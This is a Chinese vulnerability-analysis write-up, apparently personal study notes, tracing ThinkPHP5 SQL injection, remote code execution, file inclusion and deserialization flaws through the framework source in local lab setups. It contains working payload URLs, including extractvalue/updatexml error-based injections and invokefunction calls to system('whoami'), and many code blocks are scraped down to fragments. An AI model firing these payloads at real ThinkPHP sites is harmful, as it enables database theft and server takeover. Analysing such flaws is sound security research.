.
先从tp5开始然后是tp6,参考文章如下:
https://github.com/Mochazz/ThinkPHP-Vuln
ThinkPHP5-SQL注入篇
ThinkPHP5漏洞分析之SQL注入(一)
1 | 影响版本: |
1 | // 获取环境代码 |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。
1 | http://localhost/thinkphp/tpdemo/public/index.php/index/index/index?username[0]=inc&username[1]=extractvalue(1,concat(char(126),database()))&username[2]=1 |
官方声明:https://github.com/top-think/framework/releases?after=v5.1.7&page=8
发现Builder.php可疑,到thinkphp/library/think/db/Builder.php,找到insert方法,如图
在thinkphp/library/think/db/Query.php中记录了我们所有链式查询的详细操作,比如insert,parsePkWhere,withField等
我们这里看到insert方法,是Builder类下的
在query.php的insert方法那里我们传入$data数组,在builder.php中的kinsert方法中由调用了parseData方法
这个方法中第102行经过了parseKey方法处理,但是并没什么处理,直接返回了
如下,这里当我们传入的数组的第一个值是inc或者dec时,我们的val[1]的值没有经过任何过滤就给result,最后return返回,
最后回到insert方法,我们含有恶意代码的$data直接给到了$fields和$values,没有经过任何过滤执行SQL造成了SQL注入漏洞
那么有inc,dec,exp三种模式,exp模式其实没有漏洞,为什么呢
在thinkphp/library/think/Request.php中
1 | public function filterExp(&$value) |
我们的”exp”变成了”exp “,自然就过滤了
官方修复方案是:
1 | case 'inc': |
ThinkPHP5漏洞分析之SQL注入(二)
1 | 影响版本: |
通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think=5.1.6 tpdemo2 |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 。
1 | http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=extractvalue(1,concat(char(126),database()))^&username[3]=0 |
官方更新:https://github.com/top-think/framework/releases?after=v5.1.7&page=8
https://github.com/top-think/framework/compare/v5.1.9...5.1
由于我们是update链式查询造成的漏洞,所以我们在thinkphp/library/think/db/Query.php查找update方法
这里我们调用了thinkphp/library/think/db/Connection.php下的update方法,在Connection.php下的update方法内部又调用了builder.php下的update方法
如下图,我们在builder.php内的update方法又调用了parseData方法
如下图,上次我们产生漏洞的地方是因为case inc 和case dec没有做好限制,将传入数组的第二个值代入了造成漏洞,在现在这个5.1.6版本添加了default默认项
default这里调用了parseArrayData方法,实际上调的是thinkphp/library/think/db/builder/Mysql.php下的parseArrayData方法
这里我们传入的Query $query, $data,query是一个Query对象实例,该方法首先获取data数组中的第一个元素,并赋值给data数组中的第一个元素,并赋值给type变量
strtolower将我们的第一个元素变成小写之后如果case等于point,那么如果数组中存在第三个元素,则将其赋值给data中存在第三个元素,则将其赋值给fun变量。否则,将$fun默认设置为’GeomFromText’。
也就是令$fun = $data[2],$point = $data[3]
1 | $result = $fun . '(\'' . $point . '(' . $value . ')\')'; |
这里我们利用$fun进行注入的payload就是:
1 | http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=extractvalue(1,concat(char(126),database()))^&username[3]=0 |
那么根据脚本
1 |
|
执行结果就是
1 | select extractvalue(1,concat(char(126),database()))^('0(1)'); |
最后回到builder.php中的update方法内,我们的set数组就是我们传入的内容被分成键和值组合起来了,替换了%set%,执行了updateSql操作,造成报错注入
同样的我们的payload还可以有多种:
例如我们组成
1 | select 1^('')^extractvalue(1,concat(char(126),database()))-- -(1)'); |
1 |
|
1 | http://localhost/thinkphpvul/tpdemo2/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=1^&username[3]=')^extractvalue(1,concat(char(126),database()))-- - |
一样可以执行
官方修复方案就是直接将 parseArrayData 方法删除了
ThinkPHP5漏洞分析之SQL注入(三)
通过以下命令获取测试环境代码:
1 | 影响版本:5.0.10 |
1 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo4 |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
payload:
1 | http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+ |
同之前,找到thinkphp/library/think/db/Query.php下的where链式查询,这里调用了parseWhereExp方法
这个方法没什么好说的,然后直接返回后又调用了select方法
这里又调用了builder.php下的select方法
我们将%WHERE%替换成了$this->parseWhere($options[‘where’], $options)
在parseWhere方法中,又调用了buildWhere方法
这里内部又调用了parseWhereItem方法-where子单元分析
在parseWhereItem方法内部,当操作符等于exp时
1 | $whereStr .= '( ' . $key . ' ' . $value . ' )'; |
最后执行造成SQL注入,那么payload如何构造呢
1 | http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+ |
1 | $whereStr .= '( ' . $key . ' ' . $value . ' )'; |
1 |
|
执行的就是
1 | select ( username ) union select updatexml(1,concat(0x7,user(),0x7e),1)-- - ); |
当然,这里是当你这么写的时候存在漏洞
1 | public function index() |
ThinkPHP5漏洞分析之SQL注入(四)
1 | 影响版本: |
1 |
|
payload:
1 | http://localhost/thinkphpvul/tpdemo4/public/index.php/index/index/index?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,database()%23 |
https://github.com/top-think/framework/compare/v5.0.11...master
不管以哪种方式传递数据给服务器,这些数据在 ThinkPHP 中都会经过 Request 类的 input 方法
数据不仅会被强制类型转换,还都会经过 filterValue 方法的处理。该方法是用来过滤表单中的表达式,但是我们仔细看其代码,会发现少过滤了 NOT LIKE ,而本次漏洞正是利用了这一点。
filterValue方法最后return回调了filterExp方法,这个方法过滤了一些东西
1 | if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) { |
少过滤了 NOT LIKE
回到query类下的where链式查询
内部又调用了parseWhereExp方法,然后再返回并继续调用 select 方法准备开始构建 select 语句,和上一个是一样的
在builder.php中的select方法中,继续parseWhere方法中的buildWhere方法
然后又调用了parseWhereItem方法,在这个之前和我分析的上一个漏洞都一样
这里由于我们的SQL操作是:
1 | $result = db('users')->where(['username' => $username])->select(); |
没有中间的条件,所以在这个else这里,返回的结果是$str
这里当我们的exp为not like时
1 | $logic = isset($val[2]) ? $val[2] : 'AND'; |
最后$whereStr被执行,回到parseWhere方法这里
最后将$whereStr返回
我们添加一句输出
1 | echo ' WHERE ' . $whereStr; |
1 | WHERE (`username` NOT LIKE '%%' ) UNION SELECT 1,DATABASE()# `username` NOT LIKE '233') |
最后替换下执行
在\thinkphp\base.php下的THINK_VERSION可以看到thinkphp版本,方便具体找特定版本漏洞
ThinkPHP5漏洞分析之SQL注入(五)
1 | 漏洞影响版本: |
通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think=5.1.22 tpdemo5 |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 。
1 | http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[id`|extractvalue(1,concat(char(126),database()))%23]=1 |
https://github.com/top-think/framework/releases?after=v5.1.7&page=6
这里说改进了order方法的数组解析方式,我们去看看
https://github.com/top-think/framework/compare/v5.1.23...5.1
首先,我们直接查看request类下的input方法,这里调用了array_walk_recursive方法,这个函数的作用是数组遍历函数,用于对多维数组中的每个元素应用回调函数,没有对安全性有过滤
然后回到thinkphp/library/think/db/Query.php下的order方法
1 | $this->options['order'] = array_merge($this->options['order'], $field); |
然后我们查看find方法,这里调用了在 Connection 类下的find方法
在这个方法中调用了builder.php类下的select方法
这里我们主要关心这个parseOrder方法的替换
方法内部又调用了parseKey方法
但是无关紧要,最后返回的是
1 | return ' ORDER BY ' . implode(',', $array); |
这里如果我们的payload是:
1 | http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[id`|extractvalue(1,concat(char(126),database()))%23]=1 |
那么走下面的输出456
如果我们的payload是:
1 | http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?orderby[0]=id`|extractvalue(1,concat(char(126),database()))%23 |
则走上面的输出123
但是无所谓,最后都是拼接执行了
ThinkPHP5漏洞分析之SQL注入(六)
本次漏洞存在于所有 Mysql 聚合函数相关方法
1 | 漏洞影响版本: |
不同版本 payload 需稍作调整:
5.0.0~5.0.21 、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think=5.1.25 tpdemo |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 。
1 | http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23 |
query.php
调用了max方法下的aggregate方法
这个aggregate方法内部又调用了collection类下的aggregate方法
该方法
我们的payload是:
1 | http://localhost/thinkphpvul/tpdemo5/public/index.php/index/index/index?options=id`)%2bextractvalue(1,concat(char(126),database())) from users%23 |
对$field的输出是:
1 | MAX(`id`)+extractvalue(1,concat(char(126),database())) from users#`) AS tp_max |
执行起来就是
1 | select MAX(`id`)+extractvalue(1,concat(char(126),database())) from users#`) AS tp_max; |
1 | 我们输入的是:id`)+extractvalue(1,concat(char(126),database())) from users# |
缺点是你必须知道某个表下的某个字段,比如users表下的id
这里我们的调用了buildermysql.php下的parseKey方法
。
ThinkPHP5-代码执行篇
ThinkPHP5漏洞分析之代码执行(一)
1 | 漏洞影响版本: |
通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
将username写入缓存,但是无法被访问到
但是问题是我们不知道缓存的文件名
跟到cache.php中的set方法
这里又通过单例模式 init 方法,创建了一个类实例
这里的self::$handler是
该类由 cache 的配置项 type 决定,默认情况下其值为 File
self::$handler 即为 think\cache\driver\File 类实例
这里$data没有经过什么过滤就写入了
这里的$filename = $this->getCacheKey($name);
我们查看getCacheKey方法是如何定义文件名的
我们这里的缓存变量名$name = “name”;
这里就是取name的md5值的前两位作为目录名,2位之后的所有作为文件名
如图,name的md5是b068931cc450442b63f5b3d276ea4297
那么就是b0/68931cc450442b63f5b3d276ea4297.php
所以如果想利用成功的前提是知道这个name,而且当项目部署在web上时,只有public目录可以对外访问,而runtime目录不可以,所以这个洞有点鸡肋。
ThinkPHP5漏洞分析之代码执行(二)
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。不同版本 payload 需稍作调整:
5.1.x :
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
5.0.x :
1 | ?s=index/think\config/get&name=database.username # 获取配置信息 |
例如
命令执行
1 | http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
代码执行
1 | http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 |
可以通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think tpdemo |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式。
在没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 http://site/?s=模块/控制器/方法 来测试一下。
当我们输入这个代码执行
1 | http://localhost/thinkphpvul/tpdemo4/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 |
会被ThinkPHP解析为对\think\app\invokefunction()
函数的调用,该函数会执行一个用户指定的回调函数,并传递相应的参数。具体来说,上述URL地址调用的过程如下:
- 在应用程序入口文件
public/index.php
中,读取$s参数的值,发现它等于'index/\think\app\invokefunction'
。 - 根据$s参数的值,路由到
\think\route\Route::check()
方法,并将其解析为一个控制器调用。 \think\route\Route::check()
方法继续将控制器路径解析为\think\app\invokefunction()
函数的调用,并将剩余的参数作为回调函数的参数。- 最终,
\think\app\invokefunction()
函数调用了用户指定的回调函数call_user_func_array()
,并将其传递的参数作为回调函数的参数。
在函数内部,首先使用ReflectionFunction类创建一个反射对象reflect,用于获取function函数的相关信息,然后,使用bindParams()方法根据反射对象和参数数组来绑定参数,生成一个包含所有参数值的数组args
并使用反射对象的‘invokeArgs()‘方法调用function函数,并将$args作为实参传递进去,返回函数执行结果
这个就是经典的利用反射来调用任意命令执行的函数,并传入参数值实现rce
ThinkPHP5漏洞分析之代码执行(三)
1 | 漏洞影响版本: |
1 | # ThinkPHP <= 5.0.13 |
例如
1 | POST /thinkphpvul/tpdemo4/public/?s=index/index |
流程分析:
当我们是通过post提交数据时在thinkphp/library/think/Request.php下的method方法时
Request 类的 __construct 方法中存在类属性覆盖的功能
1 | $this->$name = $item; |
然后我们回到之前,start.php文件分发完请求之后调用了app.php下的run()方法
调用了param方法,这里调用了method方法
内部又调用了server方法
这个 $this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值
可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。
回到thinkphp/library/think/Request.php中
简单来说这个洞就是通过post传入数据之后,在construct构造函数中,我们可以通过传入的内容进行类属性覆盖
根据程序执行流程,我们首先调用了app下的run方法–>param方法–>method方法–>server方法–>input方法
也就是说我们利用类属性覆盖将我们传入的覆盖了input方法的传入的参数
在这个input方法中执行了filterValue方法
在这个filterValue方法中,调用了call_user_func这个回调函数(危险函数)
也就是说我们令其第一个参数(是一个数组)为我们调用的函数system,第二个参数就是命令
1 | $value = call_user_func($filter, $value); |
调用filterValue方法的第一个参数是值,第三个参数是调用的函数名
在input方法中调用filterValue是这样的
1 | $this->filterValue($data, $name, $filter); |
也就是说$data是对应着$value,而$filters是对应着system
1 | public function input($data = [], $name = '', $default = null, $filter = '') |
传入的$data数组,内部经过处理获取了值
1 | public function server($name = '', $default = null, $filter = '') |
这个$this->server我们可以通过先前 Request 类的 __construct 方法来覆盖赋值
1 | $this->server = $_SERVER; |
根据我们的请求包:
1 | s=index/index // 是访问访问 IndexController 下的 index 控制器 |
在调用 $this->filterValue($data, $name, $filter)
方法时
$data = ['s' => 'whoami']
在 filterValue
方法内部,如果 $name
不为空,则会从 $data
中取出对应的参数值,并将其保存到 $value
变量中。
ThinkPHP5-文件包含篇
通过以下命令获取测试环境代码:
1 | composer create-project --prefer-dist topthink/think=5.0.18 tpdemo |
将 composer.json 文件的 require 字段设置成如下:
1 | "require": { |
然后执行 composer update
,并将 application/index/controller/Index.php 文件代码设置如下:
1 |
|
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。
1 | http://localhost/thinkphpvul/tpdemo8/public/index.php/index/index/index?cacheFile=1.txt |
这里我们的代码是:将get方式传入的东西通过assign方法之后赋值给模板
thinkphp/library/think/Controller.php
1 | public function index() |
这里是调用了view下的assign方法
并将内容放在data中,程序开始调用 fetch 方法加载模板输出
这里第164行,调用了engine方法
1 | $this->engine->$method($template, $vars, $config); |
这里调用下了\think\view\driver\Think.php下的fetch方法
我们跟进到 Template 类的 fetch 方法,可以发现可控变量 $vars 赋值给 $this->data 并最终传入 File 类的 read 方法。
在thinkphp/library/think/template/driver/File.php中
这里用extract变量覆盖了之后直接包含了$cacheFile,可以通过 extract 函数,直接覆盖 $cacheFile 变量,因为 extract 函数中的参数 $vars 可以由用户控制
1 | extract($vars, EXTR_OVERWRITE); |
.
ThinkPHP5-反序列化篇
ThinkPHP5.0.X反序列化(5.0.24)
漏洞测试环境:PHP5.6+Linux+ThinkPHP5.0.24
1 | composer create-project --prefer-dist topthink/think=5.0.24 tpdemo |
漏洞测试代码 application/index/controller/Index.php 。
1 |
|
POP 链入口点为 think\process\pipes:__destruct 方法。通过 __destruct 方法里调用的 removeFiles 方法,可以利用 file_exists 函数来触发任意类的 __toString 方法,这里我们选择 think\Model 类来触发。由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如: think\Model\Pivot 类。
thinkphp/library/think/process/pipes/Windows.php下的__destruct方法
里调用的 removeFiles 方法
利用 file_exists 函数来触发任意类[thinkphp/library/think/Model.php下的]的 __toString 方法[当类被当成字符串时触发__ toString]
这里又调用了toArray方法
在 PHP 中,__call
是一种魔术方法,用于处理调用一个不存在的方法时的行为。
1 |
|
nonexistentMethod方法并不存在就会执行输出:您调用的方法 nonexistentMethod 不存在!
这里的$item[$key] = $value ? $value->getAttr($attr) : null;
第三处,也就是第912行,这个需要我们控制$value变量
这个$value是根据如下而来的
1 | $value = $this->getRelationData($modelRelation); |
分析getRelationData方法
如果我们令if成立
1 | $value = $this->parent; |
满足条件需要三个条件
1 | $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) |
$this->parent
存在且可控!$modelRelation->isSelfRelation()
这里的isSelfRelation方法跟入,如下,存在且可控
get_class($modelRelation->getModel()) == get_class($this->parent)
跟进getModel方法,$this->query->getModel()
,其中$query可控
接下来看怎么能传入一个Relation类
的$modelRelation参数
回过去,当我们912行$value存在的话,执行$value->getAttr($attr)
跟入getAttr方法
在getAttr方法内部,跟进Loader::parseName
该方法只是进行了一些大小写替换之类的
在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法
然后回到toarray方法中,在进入__call前的两个if
第一个if这里要满足$modelRelation下存在getBindAttr方法
getBindAttr方法在thinkphp/library/think/model/relation/OneToOne.php中,在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控
我们搜索继承OneToOne的类,发现HasOne类
所以可以让$modelRelation的值为HasOne
,这个也满足getRelationData()传入的是Relation类对象
的要求,并且bindAttr可控
然后我们执行$item[$key] = $value ? $value->getAttr($attr) : null;
,这里由于调用不存在的方法就直接进入__call方法中
ThinkPHP5.0.X反序列化(5.2.24)
ThinkPHP5.1.X反序列化(5.1.24)
1 | ➜ composer create-project --prefer-dist topthink/think tp5137 |
将 application/index/controller/Index.php 代码修改成如下:
1 |
|
利用条件
有一个内容完全可控的反序列化点,例如:
unserialize(可控变量)
存在文件上传、文件名完全可控、使用了文件操作函数,例如:
file_exists('phar://恶意文件')
(满足以上任意一个条件即可)